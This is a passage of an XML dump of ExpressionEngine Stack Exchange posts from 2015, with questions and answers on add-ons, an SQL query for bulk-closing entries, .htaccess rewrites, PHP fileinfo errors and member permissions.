&quot;undefined&quot;) {&#xA;                addVideoResults(&quot;youtube&quot;, Videos, customField);&#xA;            }&#xA;            if (typeof rdata.feed.entry === &quot;undefined&quot;) {&#xA;                addVideoResults(&quot;youtube&quot;, Videos, customField);&#xA;            }*/&#xA;            for (var i = 0; i &amp;lt; rdata.items.length; i++) {&#xA;                entry = rdata.items[i];&#xA;                video_id = entry.id.videoId;&#xA;                Videos.push({&#xA;                    id: video_id,&#xA;                    title: entry.snippet.title,&#xA;                    img_url: &quot;https://i.ytimg.com/vi/&quot; + video_id + &quot;/default.jpg&quot;,&#xA;                    vid_url: &quot;https://www.youtube.com/embed/&quot; + video_id&#xA;                });&#xA;            }&#xA;            addVideoResults(&quot;youtube&quot;, Videos, customField);&#xA;        }&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Best,&#xA;Cory&lt;/p&gt;&#xA;" OwnerUserId="1116" LastActivityDate="2015-05-07T17:43:43.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31361" PostTypeId="2" ParentId="31353" CreationDate="2015-05-07T17:45:51.057" Score="0" Body="&lt;p&gt;It sounds to me that you need something like &lt;a href=&quot;https://www.debeer.com/index.php/hooblong&quot; rel=&quot;nofollow&quot;&gt;hooblong&lt;/a&gt; to manage access control, preferably with &lt;a href=&quot;https://www.debeer.com/index.php/hookan&quot; rel=&quot;nofollow&quot;&gt;hookan&lt;/a&gt; to manage permissions. See &lt;a href=&quot;https://www.debeer.com/index.php&quot; rel=&quot;nofollow&quot;&gt;general descriptions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even with these modules, managing fine-grained permissions can be complex, and these modules provide a number of different approaches, depending on your exact needs. I am happy to help you get up to speed - the modules come with online support to get you started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having just finished upgrading hooblong to version 2, the manual is not quite fully up to date and the access logic also needs some more updates - still they cover most of what you need to get started. Download these documents from the documents menu at &lt;a href=&quot;https://www.debeer.com/index.php&quot; rel=&quot;nofollow&quot;&gt;debeer.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.debeer.com/index.php/blog_summaries/on_coping_with_large_numbers_of_groups&quot; rel=&quot;nofollow&quot;&gt;More info&lt;/a&gt; on dealing with large numbers of groups/members combinations&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="114" LastEditDate="2015-05-07T17:57:25.313" LastActivityDate="2015-05-07T17:57:25.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31362" PostTypeId="2" ParentId="31353" CreationDate="2015-05-07T17:54:25.270" Score="1" Body="&lt;p&gt;JChrono and I had a nice discussion on this (chat link might still work in comments above), I've taken the opportunity to write up our chat, findings and proposed solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, we discussed the requirement to set the access permissions against a user. There are many many (lets say X number of) departments and each department has its own channel. We discovered that we will need a &quot;member management&quot; role that would grant other members access / posting permissions in the channels they manage. members can be assigned to more than one department, and there will be in excess of 1000 members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some discussion we concured that as member fields lack any sort of value|label options that suit, we could leverage &lt;a href=&quot;http://ee-zoo.com/add-ons/visitor&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt;. &lt;a href=&quot;http://ee-zoo.com/add-ons/visitor&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt; essentually creates a members channel, with an entry for each user and also links all this up in the CP. With this we also leverage the power of any EE field, and as such a group of checkboxes with values and labels. So now we can save a members access priviledges easily and they are easier for the moderator group to manage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next step discussed was applying these permissions. Here some discussion of what areas we are protecting saved us quite a lot of time. We quickly identified we will need to code an extension to hook into various publishing events in order to apply proper server side control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We determined that the Admin CP was out of scope for this project, this itself saved ALOT of hook planning (see &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/#control-panel&quot; rel=&quot;nofollow&quot;&gt;Control Panel Hooks&lt;/a&gt;). For both members and moderators all entry posting would be don via the Channel Entry Form (Saef) on the front end. Moderators will have CP access ONLY to manage members, and will have no access to the Publishing options in the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this knowledge we discussed the implimentation of the SAEF form. We can query the member object before displaying the form, this will tell us what channels or departments the user can post too, populate the channel selector (if applicable) and also hide the form if the user has no posting priviledges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly we discussed creating an exteension that hooks the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/index.html#entry-submission-start&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;entry_submission_start&lt;/code&gt; event&lt;/a&gt;. Here we can re-run the 'has access' logic just in case someone was trying to force a POST to a different channel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There you have it, having the CP out of scope gave us a much more consise definition of what was needed, We covered how to set permissions safely (Use the CP to stop any injection of priviledge), we covered how to present the publish/edit form allowing membes only the posting options they need and finally we covered how to safeguard the posted SAEF form, in case someone was trying the good old post injection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I certainly look forward to hearing how JChrono gets on and I'm sure he'll let us know! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quote of the chat : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;it's like pulling teeth from an already buried horse...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;:D&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-07T17:54:25.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31365" PostTypeId="1" CreationDate="2015-05-07T18:36:03.360" Score="0" ViewCount="76" Body="&lt;p&gt;I know there are already some questions about this but I need some feedback with the latest configuration of both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the latest versions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.9.3 (I let 2.10 to the more brave out there)&lt;/li&gt;&#xA;&lt;li&gt;Expresso Store &lt;strong&gt;2.5.0&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Zoo Visitor &lt;strong&gt;1.3.32&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to register a zoo visitor member during Store checkout?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I did:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) create all Expresso Store Order fields as native EE member custom fields (e.g. created &quot;billing_first_name&quot; as a native member custom field etc etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Delete all default Zoo Visitor fields except the first one (member_account) and recreate all fields but &lt;strong&gt;using &quot;member_&quot; prefix to get automatic sync&lt;/strong&gt;.&#xA;(e.g. created &quot;member_billing_first_name&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) In Store &gt; Settings &gt; Order Fields MAPPED all fields to Zoo Visitor custom fields&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) register_member=&quot;yes&quot; to the exp:store:checkout&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Added {field:password} and {field:password_confirm} to checkout&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What Happens?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I'm able to complete order but I only get a native member WITHOUT any custom field populated...&#xA;2) Also receive the &quot;Member Account Activation Instructions&quot; native email&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Francesco&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;want to reference this workaround (that I haven't tried yet) just to ask if it is still actual:&#xA;&lt;a href=&quot;https://devot-ee.com/add-ons/support/zoo-visitor/viewthread/14068&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://devot-ee.com/add-ons/support/zoo-visitor/viewthread/14068&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe this is the only way?&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9633/using-store-zoo-visitor-to-create-a-member-and-store-order-details-in-related/9679#9679&quot;&gt;Using Store + Zoo Visitor to create a member and store order details in related entry&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1130" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2015-05-08T09:27:40.637" Title="Expresso Store &amp; Zoo Visitors are they playing together during checkout?" Tags="|expresso-store|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31366" PostTypeId="1" AcceptedAnswerId="31402" CreationDate="2015-05-07T19:01:50.493" Score="0" ViewCount="171" Body="&lt;p&gt;I have old data that has been migrated into a new design. The old data contains multi-language data using 4 different languages and Transcribe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new site does not contain transcribe, nor does it need the articles in the other languages. But all other articles in english need to be included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to close all entries that are written in these other languages. Removing Transcribe didn't close the entries. In the url_title column in the exp_channel_titles row, the language prefix is included. So I can search for ru, ar, fa - etc in this row, filter them out, and set the status to closed if the strings ru, ar, fa, etc are found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'd like to search for all entries that contain &quot;ar&quot; and bulk close them. I'd imagine there is a way to do this via sql query. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to write: &lt;pre&gt;&#xA;UPDATE exp_channel_titles a&#xA;    ON a.url_title = '&quot;-ru&quot;'&#xA;SET a.status = &quot;closed&quot;;&lt;/pre&gt; based on the response below, but that gave me a syntax error. I'm not sure that = will find a string, it seems like an exact search, I could be wrong.&lt;/p&gt;&#xA;" OwnerUserId="2989" LastEditorUserId="2989" LastEditDate="2015-05-08T17:56:44.097" LastActivityDate="2015-05-08T19:41:14.400" Title="Is there a way in Expression Engine to bulk close entries that contain a specific string?" Tags="|entries|query|transcribe|sql|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31367" PostTypeId="2" ParentId="31366" CreationDate="2015-05-07T19:46:43.000" Score="0" Body="&lt;p&gt;This should do it. It checks channel_entry_data in that field for&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dir=&quot;rtl&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and matches up those entry_ids to the exp_channel_title table and sets the status to closed. This is untested, but exactly what you want (or a quote misplacement or two away):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_title a&#xA;    JOIN exp_channel_data b &#xA;    ON a.entry_id = b.entry_id AND b.field_id_1 = 'dir=&quot;rtl&quot;'&#xA;SET a.status = &quot;closed&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know how it goes, and as always, &lt;strong&gt;back up those two tables&lt;/strong&gt; before running this query. Also, you'll probably have to prepend your table names with your database name, so &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exp_channel_title&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;becomes &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;database_name.exp_channel_title&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it depends on if you run the query yourself or in a template {exp:query} tag or via the Database Class ( ee()-&gt;db-&gt;update(this)-&gt;join(that)-&gt;etc... ).&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-05-07T19:46:43.000" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31368" PostTypeId="2" ParentId="31355" CreationDate="2015-05-07T20:47:58.790" Score="0" Body="&lt;p&gt;Assuming you are using a version of Store greater then 2.1 you would be able to use the &lt;code&gt;{adjustments}&lt;/code&gt; tag pair to loop through all discounts and adjustments to your order. Something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{adjustments}&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;{adjustment:name}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{adjustment:amount}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;{/adjustments}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see all of the available tags within the adjustments loop &lt;a href=&quot;https://www.exp-resso.com/docs/checkout_tag.html#adjustments_loop&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; in the docs.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-05-07T20:47:58.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31369" PostTypeId="1" AcceptedAnswerId="31594" CreationDate="2015-05-07T20:55:31.093" Score="0" ViewCount="156" Body="&lt;p&gt;For one of our clients, we have unusually high CPU/DB load. Here's what we got from the host:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1878 clientsite 20 0 213m 43m 8088 R 18.7 2.3 0:05.86 /usr/bin/php-cgi&#xA;  -c /var/www/vhosts/acme.com/etc/php.ini  1903 clientsite 20 0 219m 48m 7988 R 12.8 2.5 0:04.06 /usr/bin/php-cgi -c&#xA;  /var/www/vhosts/acme.com/etc/php.ini  1900 clientsite 20 0 214m 44m&#xA;  8088 R 12.5 2.3 0:02.97 /usr/bin/php-cgi -c&#xA;  /var/www/vhosts/acme.com/etc/php.ini&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Another appears to be from your database:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1005 mysql 20 0 282m 48m 6564 S 26.0 2.5 3:08.51 /usr/libexec/mysqld&#xA;  --basedir=/usr --datadir=/var/lib/mysql --user=mysql --log-error=/var/log/mysqld.log&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there anyway we can find out what part of EE (if any) that's causing the load? We're having very frequent &quot;Internal Server Error&quot; site outtages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all! &lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-05-21T19:30:12.730" Title="Heavy CPU load on MediaTemple: help decipher from TOP query" Tags="|error|performance|server|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31370" PostTypeId="1" CreationDate="2015-05-08T00:04:04.167" Score="4" ViewCount="3639" Body="&lt;p&gt;I get this error after upgrading to EE 2.10.1&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to undefined function EllisLab\ExpressionEngine\Library\Mime\finfo_open() in&#xA;  /home/foo/bar/EllisLab/ExpressionEngine/Library/Mime/MimeType.php on&#xA;  line 117&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can't upload files through the CP or synchronise in file manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried adding fileinfo.so to extension in php.ini as suggsted here &lt;a href=&quot;https://stackoverflow.com/questions/3579072/php-fileinfo-is-undefined-function&quot;&gt;https://stackoverflow.com/questions/3579072/php-fileinfo-is-undefined-function&lt;/a&gt; but it didn't do anything, just got the same error message.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2018-09-04T13:58:03.670" Title="PHP fileinfo and MimeType.php" Tags="|file-uploads|files|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31371" PostTypeId="2" ParentId="31370" CreationDate="2015-05-08T00:38:01.413" Score="4" Body="&lt;p&gt;EllisLab addresses this issue on a &lt;a href=&quot;https://ellislab.com/blog/entry/fileinfo-in-2-10-0&quot; rel=&quot;noreferrer&quot;&gt;blog post&lt;/a&gt;. Part of it:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If you encounter problems with uploading files check the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Login to your CP and go to Tools, then Utilities, then PHP Info. If you see --disable-fileinfo on that page (I recommend using your browser’s search function) then you will need to contact your host and have them provide a version of PHP with fileinfo not disabled (i.e. enabled).&lt;/li&gt;&#xA;&lt;li&gt;Check your system/expressionengine/config/mimes.php file. If it does not contain $whitelist = array around line 31 you will need to upload a fresh copy.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;There's more useful info there.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2015-05-08T00:38:01.413" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31372" PostTypeId="2" ParentId="31335" CreationDate="2015-05-08T02:12:15.477" Score="1" Body="&lt;p&gt;We have released a new version of Channel Videos:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devdemon.com/expressionengine-addons/channel-videos&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/expressionengine-addons/channel-videos&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-05-08T02:12:15.477" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31373" PostTypeId="1" CreationDate="2015-05-08T02:31:34.673" Score="0" ViewCount="67" Body="&lt;p&gt;I installed the Nerdery control panel theme. Followed the instructions. The theme shows in the drop down but it doesn't stay selected after I save. Any ideas what could be happening? Tks!&lt;/p&gt;&#xA;" OwnerUserId="1961" LastActivityDate="2015-05-10T04:55:06.370" Title="Unable to change control panel theme" Tags="|cp-themes|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31374" PostTypeId="2" ParentId="31369" CreationDate="2015-05-08T03:20:49.977" Score="1" Body="&lt;p&gt;New Relic is a fabulous tool for this.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-05-08T03:20:49.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31375" PostTypeId="2" ParentId="31337" CreationDate="2015-05-08T06:38:50.347" Score="0" Body="&lt;p&gt;Please Do your self a favor... use EEHarbour Transcribe or go with another cms ... every other solution will be a pain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transcribe will:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) create copyes of your entries in any language and link 'em&#xA;2) create translations of static text in your templates (without using conditionals in every bit of your code)&#xA;3) create translations of template names so for example you have products/watches/mywatch in english and prodotti/orologi/il-mio-orologio in italiano&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expression Engine wasn't done for multilanguage websites but Transcribe is the best way if you have to...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bye&#xA;Francesco&lt;/p&gt;&#xA;" OwnerUserId="1130" LastActivityDate="2015-05-08T06:38:50.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31376" PostTypeId="2" ParentId="31355" CreationDate="2015-05-08T08:33:28.110" Score="0" Body="&lt;p&gt;I think you'll be able to solve this with product modifieres:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{modifier_options}&#xA;    &amp;lt;option value=&quot;{option_id}&quot;&amp;gt;&#xA;       {option_name}&#xA;       {if price_mod_inc_tax_val} ({price_mod_inc_tax}) {/if}&#xA;    &amp;lt;/option&amp;gt;&#xA;{/modifier_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;option_name&lt;/code&gt; could be Member price, you'd have to make the modifier price &lt;code&gt;-1.00&lt;/code&gt; for the calculation to be correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also check the &lt;a href=&quot;https://www.exp-resso.com/docs/product_tag.html#if_on_sale&quot; rel=&quot;nofollow&quot;&gt;sale tag&lt;/a&gt;. You can limit a sale to member group so that seems like something that would be useful for your use case.&lt;/p&gt;&#xA;" OwnerUserId="1192" LastActivityDate="2015-05-08T08:33:28.110" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31377" PostTypeId="2" ParentId="31365" CreationDate="2015-05-08T09:27:40.637" Score="1" Body="&lt;p&gt;I've read through your links in your edit and they seem relivent still. Your first link evolves into the second link anyway, but the method described (make sure you work through the whole thread) looks ok to me. The only thing I would do is avoid the optional membership thing on the store if you possibly can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, see here (Is alomost a duplicate of your post), This post goes into the field mappings a bit more. : &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14342/expresso-store-2-not-mapping-to-zoo-visitors-fields-on-checkout&quot;&gt;Expresso Store 2: not mapping to Zoo Visitors fields on checkout&lt;/a&gt; (and remember to call &lt;code&gt;{exp:zoo_visitor:sync}&lt;/code&gt; on success to push the data to the Zoo Visitor Channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/support/zoo-visitor/viewthread/7757&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://devot-ee.com/add-ons/support/zoo-visitor/viewthread/7757&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.exp-resso.com/docs/release_notes.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Zoo Visitor change log, confirms Store support in 2.1.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-05-08T09:27:40.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31378" PostTypeId="2" ParentId="17743" CreationDate="2015-05-08T09:32:09.780" Score="0" Body="&lt;p&gt;Hmm, I had a similar issue. I was using AJAX to submit a Freeform form and then wanted to offer the user the ability to re-submit again after for a colleague without reloading the page but I was getting the below on the 2nd submit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;success&quot;:false,&quot;errors&quot;:[&quot;Invalid form id(s) submitted.&quot;]}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It transpired that my JS which was clearing the form inputs after the first submit was also clearing the hidden inputs generated by Freeform (params_id and CSRF), hence the error. Might not help but hey...&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-05-08T09:32:09.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31379" PostTypeId="2" ParentId="28871" CreationDate="2015-05-08T09:38:07.390" Score="0" Body="&lt;p&gt;It might help if you post your WP htaccess as well if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your EE .htaccess looks a bit different to the 'copy and paste' version we use on many production sites, I'm not saying it's wrong just different! Here's a copy of our standard fare (i've altered to match your needs): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Enable Rewrite Engine&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;&#xA;    #Go go gadget&#xA;    RewriteEngine On&#xA;    RewriteBase /&#xA;&#xA;    #Exclude file paths, directory paths&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteCond %{REQUEST_URI} !(\.[a-zA-Z0-9]{1,5}|/)$&#xA;&#xA;    #file whitelist, do not rewrite if file is root &amp;amp; name is ...&#xA;    RewriteCond $1 !^(favicon\.ico|index\.php|path\.php|php\.ini|admin\.php) [NC]&#xA;&#xA;    #directory whitelist, do not rewrite if path begines with ...&#xA;    RewriteCond $1 !^(system|sysbase|images|themes|css|assets)/ [NC]&#xA;&#xA;    #Rewrite what needs rewriting&#xA;    RewriteRule ^(.*)$ /EE_subdirectory/index.php/$1 [L]&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, you have set your base URL (&lt;code&gt;Admin -&amp;gt; General Configuration&lt;/code&gt;) in the CP with the subdirectory and the index.php to blank right? this will help EE serve proper links (once you get there!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give that a go and if it doesn't work share your WP .htaccess in case thats playing with the request URL before the EE .htaccess gets to it...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-08T09:38:07.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31380" PostTypeId="1" CreationDate="2015-05-08T10:47:29.697" Score="0" ViewCount="54" Body="&lt;p&gt;I have a cart with a delete button in it. It works fine when I have 1 item in my cart, but when I have an item in my cart with a quantity of more then one, it deletes all the quantities of that item. So when I have an item in my cart 2 times and I delete it, it deletes all 2 of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my delete button:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot; name=&quot;remove_items[{key}]&quot; class=&quot;remove&quot; value=&quot;&amp;amp;#xf00d;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It has &lt;code&gt;{items}&lt;/code&gt; tags above and under it.&lt;/p&gt;&#xA;" OwnerUserId="6083" LastActivityDate="2016-06-17T08:34:04.027" Title="Expresso store delete one item per time" Tags="|expresso-store|shopping-cart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31381" PostTypeId="2" ParentId="24575" CreationDate="2015-05-08T11:25:50.203" Score="1" Body="&lt;p&gt;You can use the parameter transcribe=&quot;disable&quot; in the channel entries tag&lt;/p&gt;&#xA;" OwnerUserId="1570" LastActivityDate="2015-05-08T11:25:50.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31382" PostTypeId="1" CreationDate="2015-05-08T12:17:23.917" Score="1" ViewCount="1878" Body="&lt;p&gt;I've got an EE 2.8.1 site where one user cannot access a specific channel.  He gets the message &quot;Disallowed Key Characters&quot;.  It only happens for this single user.&#xA;Highlights:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Only happens for the one user  &lt;/li&gt;&#xA;&lt;li&gt;User is part of a member group and no one else in the member group has the issue  &lt;/li&gt;&#xA;&lt;li&gt;I've walked him through clearing all of his cache, cookies, history, everything.  switched from his ISPs DNS to Google helped flused his local DNS hoping to clear everything out, all with no success.&lt;/li&gt;&#xA;&lt;li&gt;Tried multiple browsers and two machines.&lt;/li&gt;&#xA;&lt;li&gt;We are using Zoo Flexible Admin, and it happens when he clicks a link we setup to directly create an entry for a specified channel (again though, others use that same menu with no issues)&lt;/li&gt;&#xA;&lt;li&gt;I administer about 50 EE installs and I've always been able to fix this by clearing cache, cookines, or permission issue.  None of those seem to work this time.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;any ideas?  thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATES based on comments below:&#xA; - while navigating the control panel, I only get this while on his machines.  I can log in as the user just fine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;- offending url is : &lt;a href=&quot;http://www.domainname.com/system/admin.php?/cp/content_publish/entry_form?channel_id=1&quot; rel=&quot;nofollow&quot;&gt;http://www.domainname.com/system/admin.php?/cp/content_publish/entry_form?channel_id=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;- htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#secure .htaccess file&#xA;&amp;lt;Files .htaccess&amp;gt;&#xA;  order allow,deny&#xA;  deny from all&#xA;&amp;lt;/Files&amp;gt;&#xA;&#xA;# EE 404 page for missing pages&#xA;ErrorDocument 404 /index.php/site/404&#xA;&#xA;#Block Access to directories with no index file&#xA;Options -Indexes&#xA;&#xA;# Simple 404 for missing files&#xA;&amp;lt;FilesMatch &quot;(\.jpe?g|gif|png|bmp|css|js|flv)$&quot;&amp;gt;&#xA;  ErrorDocument 404 &quot;File Not Found&quot;&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&#xA;# Although highly unlikely, your host may have +FollowSymLinks enabled at the root level, yet disallow its addition in .htaccess; in which case, adding +FollowSymLinks will break your setup (probably a 500 error), so just remove it, and your rules should work fine.&#xA;#Options +FollowSymlinks&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;&#xA;RewriteCond %{THE_REQUEST} ^GET&#xA;RewriteCond %{THE_REQUEST} ^[^/]*/index\.php [NC]&#xA;RewriteRule ^index\.php(.+) $1 [R=301,L]&#xA;&#xA;# Add the www&#xA;RewriteCond %{HTTP_HOST} ^domainname\.com&#xA;RewriteRule ^(.*)$ http://www.domainname.com/$1 [R=permanent,L]&#xA;&#xA;#Removes index.php from ExpressionEngine 